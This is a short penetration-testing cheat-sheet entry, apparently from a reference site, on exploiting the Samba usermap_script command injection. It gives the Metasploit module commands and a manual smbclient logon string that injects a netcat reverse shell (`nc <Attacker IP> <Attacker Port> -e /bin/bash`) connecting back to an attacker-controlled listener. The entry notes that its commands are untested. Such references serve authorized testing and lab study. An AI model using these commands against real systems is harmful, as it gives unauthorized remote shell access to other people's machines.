Samba usermap_script
Exploit the usermap script command injection in Samba with Metasploit or a manual smbclient logon script.
usermap_script abuses a command injection in Samba’s username map script handling, where a crafted username reaches a shell command. Both paths below end with a shell on the target that connects back to a listener under your control.
Usermap_script
This historical path requires a susceptible Samba build with the relevant username-map configuration. SMB reachability alone does not establish it.
Metasploit
use exploit/multi/samba/usermap_script
set RHOST <TARGET IP>
runManual
smbclient \\<Target IP>\<share> -U ""Inside the smbclient console:
smb: \> logon "/= `nc <Attacker IP> <Attacker Port> -e /bin/bash`"Provenance and confidence
- Version
- 2
- Sources reviewed
- 2026-11-23
- Confidence
- medium — Legacy RTFM; v2 editorial review on 2026-11-23 adds build and username-map prerequisites. Legacy commands remain untested.
Also searched as: samba, usermap_script, usermap script, injection de commande